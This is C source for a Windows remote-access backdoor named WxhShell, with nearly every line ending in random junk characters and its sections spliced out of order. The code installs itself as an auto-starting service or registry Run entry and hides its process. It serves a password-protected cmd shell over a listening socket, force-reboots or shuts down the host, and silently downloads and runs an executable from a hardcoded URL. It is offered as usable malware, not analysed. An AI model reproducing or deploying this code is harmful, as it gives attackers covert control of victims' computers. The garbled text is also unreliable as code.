  // 关机 &x;n^W;#  
  case 'd': { >P]gjYN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xsiJI1/68  
    if(Boot(SHUTDOWN)) Z{gm4YV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a$Hq<~46  
    else { I?^(j;QpS  
    closesocket(wsh); Ubgn^+AI  
    ExitThread(0); 7D1$cmtH  
    } IR#BSfBZ  
    break; c=zSq%e   
    } !qU1RdZ  
  // 获取shell hRMya#%-  
  case 's': { (4Nj3x o  
    CmdShell(wsh); {e q378d  
    closesocket(wsh); 9M5W4&  
    ExitThread(0); R_\o`v5  
    break; @DF7j|]tV  
  } vn!3Z!dm(  
  // 退出 jw`05rw:  
  case 'x': { sG)aw`_j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jOzi89  
    CloseIt(wsh); ^bP`Iv  
    break; y#th&YC_b  
    } 1z4_QZZ.NG  
  // 离开 -y{(h% 6  
  case 'q': { pb)kN%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gS8+S\2  
    closesocket(wsh); *,IK4F6>:  
    WSACleanup(); - Ry+WS=  
    exit(1); ;<_a ,5\Q  
    break; &AWrM{e  
        } *")*w> R  
  } A=IpP}7J  
  } esj6=Gh  
2pU'&8  
  // 提示信息 DR,7rT{$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '#h ORQB  
} 5-y*]:g(  
  } +I3O/=)  
{+nf&5E 6  
  return; 3W]gn8  
} f*xr0l  
:0QDV~bs  
// shell模块句柄 T\g+w\N  
int CmdShell(SOCKET sock) 'nBP%  
{ 1U/RMN3`  
STARTUPINFO si; )RT?/NW  
ZeroMemory(&si,sizeof(si)); ([}08OW@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9[;da  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'O\ y7"a  
PROCESS_INFORMATION ProcessInfo; ^i_+ugJX  
char cmdline[]="cmd"; W`NF40)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <oV[[wl  
  return 0; i q oXku  
} qw?(^uZNW  
=J)<Nx.gA  
// 自身启动模式 wDGb h=  
int StartFromService(void) GZ,MC?W  
{ =B5{7g\  
typedef struct 1dw{:X=j  
{ MfHOn YV  
  DWORD ExitStatus; 6@t&  
  DWORD PebBaseAddress; 2QM{e!9  
  DWORD AffinityMask; FO%pdLs,  
  DWORD BasePriority; s\pukpf@  
  ULONG UniqueProcessId; p6K~b  
  ULONG InheritedFromUniqueProcessId; euVDrJ^  
}   PROCESS_BASIC_INFORMATION; C\~}ySQc.e  
yCav;ZS_  
PROCNTQSIP NtQueryInformationProcess; `lWGwFgg(  
I`H&b& .`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8V 4e\q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rq4g~e!S  
_#NibW  
  HANDLE             hProcess; iC/*d  
  PROCESS_BASIC_INFORMATION pbi; 6lv@4R^u  
u}|v;:|j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #v<`|_  
  if(NULL == hInst ) return 0; "YY<T&n  
Yj/ o17  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6]~/`6Dub  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \Ta5c31S+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PJ0~ymE1~G  
]%HxzJ  
  if (!NtQueryInformationProcess) return 0; FHw%ynC  
8.n#@%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T3@2e0u )  
  if(!hProcess) return 0; >Zs!  
;Vs2 e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pu]U_Ll@  
t(6]j#5   
  CloseHandle(hProcess); }DS%?6}Sy  
GIH{tr1:<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z4Dx:m-  
if(hProcess==NULL) return 0; |oLGc!i  
TB* t^ E  
HMODULE hMod; G}g;<,g~  
char procName[255]; 6XF Ufi+  
unsigned long cbNeeded; UMe?nAC  
sTl^j gV7j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z@Zg3AVU  
q+9->D(6  
  CloseHandle(hProcess); BVNJas  
v_EgY2l(  
if(strstr(procName,"services")) return 1; // 以服务启动 IDT\hTPIs  
vJ}WNvncVF  
  return 0; // 注册表启动 qnboXGaFu  
} ; F'IS/ttX  
gv>DOez/  
// 主模块 jVd`J  
int StartWxhshell(LPSTR lpCmdLine) 2Ax"X12{6  
{ Rw{' O]Q*  
  SOCKET wsl; -Pp{aF e  
BOOL val=TRUE; pxgf%P<7  
  int port=0; R}gdN-941  
  struct sockaddr_in door; \efDY[j/  
S',h*e  
  if(wscfg.ws_autoins) Install(); cB){b'WJ  
PL{lYexJ  
port=atoi(lpCmdLine); ?D _4KFr  
:rQDA =Ps  
if(port<=0) port=wscfg.ws_port; eN.6l2-  
XYuX+&XW/  
  WSADATA data; *6` ^8Y\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jmwN1Se>  
&uRT/+18W3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pNOE KiJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~6n|GxR.[  
  door.sin_family = AF_INET; PiM(QR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i@nRZ$K  
  door.sin_port = htons(port); iKE&yO3  
Awxm[:r>^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -Yse^(^"s  
closesocket(wsl); mc%. 8i  
return 1; nUpj+F#  
} Q4-d|  
7FcZxu\  
  if(listen(wsl,2) == INVALID_SOCKET) { ]pBEoktp  
closesocket(wsl); DSqA}r  
return 1; NMK$$0U  
} :JG5)H}j+  
  Wxhshell(wsl); `aAE4Ry?  
  WSACleanup(); Zt! $"N.,  
1[O cZ CS  
return 0; DZ2gnRg  
5X)QW5A  
} ~ Ze!F"  
I F6$@Q  
// 以NT服务方式启动 8|)!E`TKSV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g $Y]{VM.J  
{ d.~ns4bt9  
DWORD   status = 0; A?#i{R  
  DWORD   specificError = 0xfffffff; xjbI1qCfe  
9 nc_$H{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .:}<4;Qz94  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [;,E cw^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fVgK6?<8^  
  serviceStatus.dwWin32ExitCode     = 0; }Y.YJXum  
  serviceStatus.dwServiceSpecificExitCode = 0; T90O.]S  
  serviceStatus.dwCheckPoint       = 0; *W\3cS  
  serviceStatus.dwWaitHint       = 0; qfl!>  
KJoa^e;~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hbJy<e1W  
  if (hServiceStatusHandle==0) return; }|| p#R@?  
1/?Wa  
status = GetLastError(); vc|tp_M67  
  if (status!=NO_ERROR) W vB]Rs  
{ 6 :3Id  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e8 ]CB  
    serviceStatus.dwCheckPoint       = 0; F]6G<6T[  
    serviceStatus.dwWaitHint       = 0; #M!$CGi (  
    serviceStatus.dwWin32ExitCode     = status; ^-PYP:*  
    serviceStatus.dwServiceSpecificExitCode = specificError; "r@#3T$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5}hQIO&^%  
    return; A+M4=  
  } /} PdO  
m}?jU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #Y7iJPO  
  serviceStatus.dwCheckPoint       = 0; ];Noe9o  
  serviceStatus.dwWaitHint       = 0; faRQj:R8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?GNR ab  
} 9)vU/fJ|  
H if| z[0$  
// 处理NT服务事件,比如:启动、停止 *(yw6(9%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c{1)- &W  
{ R P~67L  
switch(fdwControl) N*Q*>q  
{ 5 ,MM`:{{  
case SERVICE_CONTROL_STOP: yO7H!}y_  
  serviceStatus.dwWin32ExitCode = 0; A2\hmp@A@7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cD`?" n  
  serviceStatus.dwCheckPoint   = 0; $m5Iv_  
  serviceStatus.dwWaitHint     = 0; N<<wg{QO  
  { 2(GY k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i`l;k~rP  
  } - i2^ eZl  
  return; .$cX:"_Mk  
case SERVICE_CONTROL_PAUSE: n%36a(] t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <(Ar[Rp  
  break; I/St=-;  
case SERVICE_CONTROL_CONTINUE: x'}z NEXI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H?r~% bh  
  break; sYXLVJ>b  
case SERVICE_CONTROL_INTERROGATE: ?E!M%c@,  
  break; 7CR#\&h`  
}; +pq=i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,|$1(z*a{c  
} 9s5s;ntz"  
nnRb   
// 标准应用程序主函数 X{cB%to  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *^[6uaa  
{ ckFPx l.  
>?JUGXAi'{  
// 获取操作系统版本 KS5a8'U  
OsIsNt=GetOsVer(); ehr\lcS<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8hww({S2  
30I-E ._F  
  // 从命令行安装 qm_r~j  
  if(strpbrk(lpCmdLine,"iI")) Install(); |4/rVj"  
 rwSR  
  // 下载执行文件 P*;[&Nn4  
if(wscfg.ws_downexe) { 9wfE^E1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?Mo)&,__  
  WinExec(wscfg.ws_filenam,SW_HIDE); = =pQ V[  
} )g8Kicox5  
^2BiMH3j  
if(!OsIsNt) { E]vox~xK>  
// 如果时win9x,隐藏进程并且设置为注册表启动 S3HyB b  
HideProc(); vD#kH 1  
StartWxhshell(lpCmdLine); voRb>xF  
} g51UIN]o-  
else Zp{K_ec{  
  if(StartFromService()) x76;wQ  
  // 以服务方式启动 tIV9Y=ckr0  
  StartServiceCtrlDispatcher(DispatchTable); vAG|Y'aO@%  
else f\$_^dV  
  // 普通方式启动 cY!Pv  
  StartWxhshell(lpCmdLine); 6:QlHuy0nH  
t; #@t/`  
return 0; @||nd,i`n~  
} &QQ6F>'T  
%b_0l<+  
6j1C=O@S  
0r$n  
=========================================== \uo{I~Qd  
Ed0}$ b  
nZYO}bv\  
aEa.g.SZ  
s4f{ziLp  
PpLh j  
" #t Pc<p6m  
WyB^b-QmDh  
#include <stdio.h> 73u97oe>1  
#include <string.h> mcQ A'  
#include <windows.h> pR2U&OA  
#include <winsock2.h> wLI1qoDM  
#include <winsvc.h> %'. x vC  
#include <urlmon.h> eFy {VpO+  
>*B59+1P  
#pragma comment (lib, "Ws2_32.lib") +,7vbs3  
#pragma comment (lib, "urlmon.lib") _I,GH{lhI  
l%0-W  
#define MAX_USER   100 // 最大客户端连接数 c*<BU6y  
#define BUF_SOCK   200 // sock buffer "ig)7X+Wz|  
#define KEY_BUFF   255 // 输入 buffer ~A%+oa*2~  
?c"i V  
#define REBOOT     0   // 重启 ^g2Vz4u  
#define SHUTDOWN   1   // 关机 Hv' OO@z  
@|w/`!}9q  
#define DEF_PORT   5000 // 监听端口 D8*6h)~  
1n6%EC|X  
#define REG_LEN     16   // 注册表键长度 Y HS/|-  
#define SVC_LEN     80   // NT服务名长度 >^,?0HP  
3,hu3"@k  
// 从dll定义API XCyb[(4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4kV$JV.l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e^;:iJS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BVus3Y5IJQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  ]sP  
H<nA*Zf2@R  
// wxhshell配置信息 Ed-3-vJej6  
struct WSCFG { 5K&A2zC|  
  int ws_port;         // 监听端口 muK.x7zyl  
  char ws_passstr[REG_LEN]; // 口令 /c!^(5K fT  
  int ws_autoins;       // 安装标记, 1=yes 0=no t1yfSStp  
  char ws_regname[REG_LEN]; // 注册表键名 i&)([C0z$  
  char ws_svcname[REG_LEN]; // 服务名 Bz%wV-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m9 c`"!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $Dv5TUKw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9`H4"H>yG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tblduiN   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ck m:;q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aehB,l0  
_T805<aUW\  
}; %'X7T^uE  
k7sD"xR3  
// default Wxhshell configuration dxS5-aWy9w  
struct WSCFG wscfg={DEF_PORT, Cd6th F)  
    "xuhuanlingzhe", 33~8@]b  
    1, z'O+B}  
    "Wxhshell", k1P'Q&Na  
    "Wxhshell", 5vS[{;<&  
            "WxhShell Service", tU!Yg"4Q  
    "Wrsky Windows CmdShell Service", fb[lL7  
    "Please Input Your Password: ", Zrgv*  
  1, +.rOqkxJ  
  "http://www.wrsky.com/wxhshell.exe", =jxy4`oF  
  "Wxhshell.exe" "|,KXv')  
    }; ~GJ;;v1b2  
/Q89y[  
// 消息定义模块 Q TN24 q4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #_IuB) qy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; { +Wknm%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VKlC`k8L  
char *msg_ws_ext="\n\rExit."; ]vV)$xMX  
char *msg_ws_end="\n\rQuit."; Q$k#q<+0  
char *msg_ws_boot="\n\rReboot..."; B o%Sl  
char *msg_ws_poff="\n\rShutdown..."; SY@;u<Pd   
char *msg_ws_down="\n\rSave to "; JIYzk]Tj  
68<W6z  
char *msg_ws_err="\n\rErr!"; _sL;E<)y(  
char *msg_ws_ok="\n\rOK!"; U(OkTJxv+  
tt6GtYrC 1  
char ExeFile[MAX_PATH]; D=.Ob<m`Z  
int nUser = 0; 23'{{@30  
HANDLE handles[MAX_USER]; F$:UvW@e1  
int OsIsNt; JnqP`kYbTE  
LZ&I<ID`-  
SERVICE_STATUS       serviceStatus; udc9KuR@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1#fR=*ZM"  
X1[zkb  
// 函数声明 p"H /N_b4  
int Install(void); <7L-25 =  
int Uninstall(void); 2\#$::B9  
int DownloadFile(char *sURL, SOCKET wsh); (4C)] RHQ  
int Boot(int flag); E]a;Ydf~  
void HideProc(void); q]Xu #:X  
int GetOsVer(void); 6p3cMJ'8y  
int Wxhshell(SOCKET wsl); XW^Pz (  
void TalkWithClient(void *cs); _[l&{,  
int CmdShell(SOCKET sock); Z>X]'q03  
int StartFromService(void); ]F;1l3I-  
int StartWxhshell(LPSTR lpCmdLine); \F+".X#jh  
Ul 85-p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /L|x3RHs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U.I 7p  
4v{Ye,2  
// 数据结构和表定义 k;SKQN  
SERVICE_TABLE_ENTRY DispatchTable[] = %503 <j  
{ B T {cTj0W  
{wscfg.ws_svcname, NTServiceMain}, _~P &8  
{NULL, NULL} hKnV=Ha(  
}; !tx.2m*5  
gv(MX ;B#  
// 自我安装 FlrYXau  
int Install(void) $GhL-sqm  
{ 1 >2 /1>  
  char svExeFile[MAX_PATH]; S&'s/jB  
  HKEY key; KilN`?EJ  
  strcpy(svExeFile,ExeFile); Znh;#%n|  
Y9st3  
// 如果是win9x系统,修改注册表设为自启动 9U )9u["DH  
if(!OsIsNt) { T@zp'6\H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )!G 10  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yB{1&S5 C  
  RegCloseKey(key); &arJe!K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gnb+i`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _,e4?grP#  
  RegCloseKey(key); Z}SqiT  
  return 0;  R; &k/v  
    } hD,|CQ  
  } D+q z`  
} Z^WI~B0nt  
else { YzEOfHL,  
1C*mR%Q  
// 如果是NT以上系统,安装为系统服务 MFWkJbZV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y;P%=M P  
if (schSCManager!=0) V;Ln|._/t  
{ [`bK {Dq2  
  SC_HANDLE schService = CreateService E2`9H-6e  
  ( {aK3'-7  
  schSCManager, a`eb9o#  
  wscfg.ws_svcname, Bw[#,_  
  wscfg.ws_svcdisp, zQ u9LN  
  SERVICE_ALL_ACCESS, #%#N.tB 5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I\[z(CHg@  
  SERVICE_AUTO_START, ?UeV5<TewS  
  SERVICE_ERROR_NORMAL, i`iR7UmHeR  
  svExeFile, q,;wD1_wG  
  NULL, Kf,AnKkn'  
  NULL, hm<:\(q  
  NULL, A4KkX  
  NULL, OekE]`~w  
  NULL 'bg'^PN>z  
  ); C?<-`$0  
  if (schService!=0) y T&#k1  
  { z  61Fq  
  CloseServiceHandle(schService); e9QjRx  
  CloseServiceHandle(schSCManager); {QOy' 8 /  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #)S&Z><<  
  strcat(svExeFile,wscfg.ws_svcname); 7lwFxP5QT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ) <w`:wD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U5?QneK  
  RegCloseKey(key); 2l:cP2fa  
  return 0; 6UqDpL7^U  
    } 13Q87i5B  
  } RfCu5Kn  
  CloseServiceHandle(schSCManager); =xSf-\F  
} G}}Lp~  
} sEL0h4  
|fgh ryI,  
return 1; #hXvGon$?  
} +u&3pK>f  
t/3qD7L  
// 自我卸载 0&tr3!h\  
int Uninstall(void) yDRi  
{ ^B7Ls{  
  HKEY key; =OTu8_ d0t  
MvaX>n !o  
if(!OsIsNt) { >m%7dU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f9d{{u  
  RegDeleteValue(key,wscfg.ws_regname); I"KosSs  
  RegCloseKey(key); ^E+fmY2a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q j|tD+<  
  RegDeleteValue(key,wscfg.ws_regname); <;1M!.)5  
  RegCloseKey(key); { qCFd  
  return 0; t2m7Yh5B  
  } K<pZ*l  
} }-9 c1&m  
} H"?Ndl:  
else { IaO&f<^#o  
~K(mt0T )  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BV}sN{  
if (schSCManager!=0) EDF0q i  
{ .%M80X{5~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <l eE.hhf.  
  if (schService!=0) KYz@H#M  
  { \,lIPA/L  
  if(DeleteService(schService)!=0) { ;(K"w*  
  CloseServiceHandle(schService); ,<s:* k  
  CloseServiceHandle(schSCManager); aH_FBY  
  return 0; k_gl$`A  
  } 79h'sp6;  
  CloseServiceHandle(schService); [N"=rY4G  
  } ph%t #R  
  CloseServiceHandle(schSCManager); M.EL^;r  
} MfdkvJ'  
} nmyDGuzk  
>Y|P+Z\7  
return 1; by,3A  
} vRDs~'f  
M(^ e)7a1  
// 从指定url下载文件 \#F>R,  
int DownloadFile(char *sURL, SOCKET wsh) 5%@~"YCo  
{ \H1t<B,  
  HRESULT hr; Tiimb[|  
char seps[]= "/"; #GUD^#Jh  
char *token; ##Qy6Dc  
char *file; 4Bt)t#0  
char myURL[MAX_PATH]; T!^v^m@>y  
char myFILE[MAX_PATH]; \+x#aN\  
6X!jNh$oF  
strcpy(myURL,sURL); 152LdZevF  
  token=strtok(myURL,seps); 2|NQ5OA0  
  while(token!=NULL) Oa M~rze  
  { O]61guxro  
    file=token; '#Do( U'  
  token=strtok(NULL,seps); :0bjPQj  
  } z$M-UxY  
9eR";Wm])  
GetCurrentDirectory(MAX_PATH,myFILE); 'rVB2 `z-  
strcat(myFILE, "\\"); Id8e%)  
strcat(myFILE, file); DwWm(8&6;}  
  send(wsh,myFILE,strlen(myFILE),0); *V[I&dKq  
send(wsh,"...",3,0); z>'vS+axV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~w.y9)",  
  if(hr==S_OK) Q~KzcB<  
return 0; Il#ST  
else _c(h{dn  
return 1; %:OX^ ^i;  
nE bZ8M  
} TJZ arNc$  
G 6xN R  
// 系统电源模块 b7gN|Hw5 H  
int Boot(int flag) b.9[Vf_G  
{ HJd{j,M  
  HANDLE hToken; ?>gr9w\  
  TOKEN_PRIVILEGES tkp; S9'Xsh  
;3%Y@FS@  
  if(OsIsNt) { UVW4KUxR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vjA!+_I6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #Kx @:I  
    tkp.PrivilegeCount = 1; Tz0XBH_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; su\`E&0V+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (.5Ft^3W  
if(flag==REBOOT) { <vb7X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uWP0(6 %  
  return 0; aNwx~t]G  
} UXw I?2L  
else { @3~Wukc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6^2='y~e  
  return 0; %:sP#BQM  
} "_=t1UE  
  } bXqTc2>=  
  else { 7`^=Ie%(K  
if(flag==REBOOT) { KUU ZN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ][XCpJ)8  
  return 0; 5@pLGMHT  
} (CAkzgTfc  
else { &[N_{O|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `B$Pk0>5r  
  return 0; C 7YS>?^]  
} |qU~({=b  
} 43~v1pf{!  
H.o3d/8:  
return 1; Ag&K@%|*  
} /_yAd,^-+  
h<n2pz}  
// win9x进程隐藏模块 kUr/*an  
void HideProc(void) w@\4ft6d  
{ kL<HGQt  
Z>dvth  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r"t,/@`n  
  if ( hKernel != NULL ) bw!*=<  
  { `(6cRT`Wp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j+>N&.zs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fUOQ(BGp  
    FreeLibrary(hKernel); HYZp= *eb  
  } S>Gb Jt(]  
d@tNlFfS  
return; Q!I><u  
} -MORd{GF  
=)x+f/c]  
// 获取操作系统版本 1)f <  
int GetOsVer(void) >gl.ILo  
{ o>&-B.zq  
  OSVERSIONINFO winfo; +6n\5+5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iP1yy5T  
  GetVersionEx(&winfo); H29vuGQjq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k7(lwEgNG  
  return 1; k,ezB+  
  else Qv)DSl  
  return 0; + +Eu.W;&#  
} ME.!l6lm\  
Qtt3;5m  
// 客户端句柄模块 |D[LU[<C  
int Wxhshell(SOCKET wsl) Or55_E  
{ E5a7p.  
  SOCKET wsh; L[U?{  
  struct sockaddr_in client; AtqsrYj  
  DWORD myID; :4LWm<P  
Y^XZ.R  
  while(nUser<MAX_USER) O:8Ne*L`D  
{ =NWzsRl,  
  int nSize=sizeof(client); G-#rWZ&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;qcOcm%  
  if(wsh==INVALID_SOCKET) return 1; jHV) TBr  
dl6Ju  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  "Id 1H  
if(handles[nUser]==0) NS "1zR+  
  closesocket(wsh); <S12=<c?'  
else DU-dIq i  
  nUser++; .}E@ 7^X  
  } :W+%jn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )q[Wzx_ j<  
s%A?B 8,  
  return 0; aPX'CG4m  
} 14(ct  
hE'>8{  
// 关闭 socket x Vw1  
void CloseIt(SOCKET wsh) ]@CXUa,>a  
{ |;"(C# B  
closesocket(wsh); *o<|^,R  
nUser--; O>9-iqP>`d  
ExitThread(0); v9Lf|FXo&  
} k4` %.;  
i 1GQ=@  
// 客户端请求句柄 we kb&?  
void TalkWithClient(void *cs) H;+98AIy`  
{ 48{B}j%oU  
X9C:AGbp  
  SOCKET wsh=(SOCKET)cs; y!|4]/G]?t  
  char pwd[SVC_LEN]; +=*ND<$n/E  
  char cmd[KEY_BUFF]; //bQD>NBO  
char chr[1]; Fw^^sB  
int i,j; b27t-p8  
+;bZ(_ohG  
  while (nUser < MAX_USER) { :*cd$s  
'CRjd~L  
if(wscfg.ws_passstr) { []?*}o5&>T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /74)c~.W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ml )<4@  
  //ZeroMemory(pwd,KEY_BUFF); sXY{g0%  
      i=0; o ?aF  
  while(i<SVC_LEN) { wBEBj7(y  
FMitIM*]   
  // 设置超时 .Vs|&c2im  
  fd_set FdRead; HaRx(p0  
  struct timeval TimeOut; ~RV9'v4  
  FD_ZERO(&FdRead); {5+ 39=(  
  FD_SET(wsh,&FdRead); (R9"0WeF  
  TimeOut.tv_sec=8; 2<d'!cm  
  TimeOut.tv_usec=0; nk;+L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9j5B(_J^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XMaw:Fgr  
z$VVt ?K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GY"c1 KE$  
  pwd=chr[0]; :J+ANIRI  
  if(chr[0]==0xd || chr[0]==0xa) { LCb0Kq}*/(  
  pwd=0; x6vkd%fCj  
  break; c]|Tg9AW  
  } ojVN -*5  
  i++; ;)ERxMun  
    } sGa "  
<1`MjP*w  
  // 如果是非法用户,关闭 socket Of eM;)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); INRRA  
} },O7NSG<o  
8L`wib2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7(H?3)%0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SE$l,Z"[*b  
6}*4co  
while(1) { 4%6@MQ[  
BT f  
  ZeroMemory(cmd,KEY_BUFF); Hdjp^O!  
\JP9lJ3<  
      // 自动支持客户端 telnet标准   -tp3qi  
  j=0; T7(d  
  while(j<KEY_BUFF) { YDgG2hT/2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cu#r#0U-  
  cmd[j]=chr[0]; 'yh)6mid  
  if(chr[0]==0xa || chr[0]==0xd) { +u lxCm_lV  
  cmd[j]=0; %iZ~RTY6 !  
  break; qr~zTBT] E  
  } R0F&!y!B  
  j++; *~.'lE%[U  
    } ~ x J#NC+  
CU/Id`"tW  
  // 下载文件 Q{ { =  
  if(strstr(cmd,"http://")) { A^4#6],%v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s1X?]A  
  if(DownloadFile(cmd,wsh)) ^xr & E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 59V8cO+qH  
  else P|a|4Bb+fW  
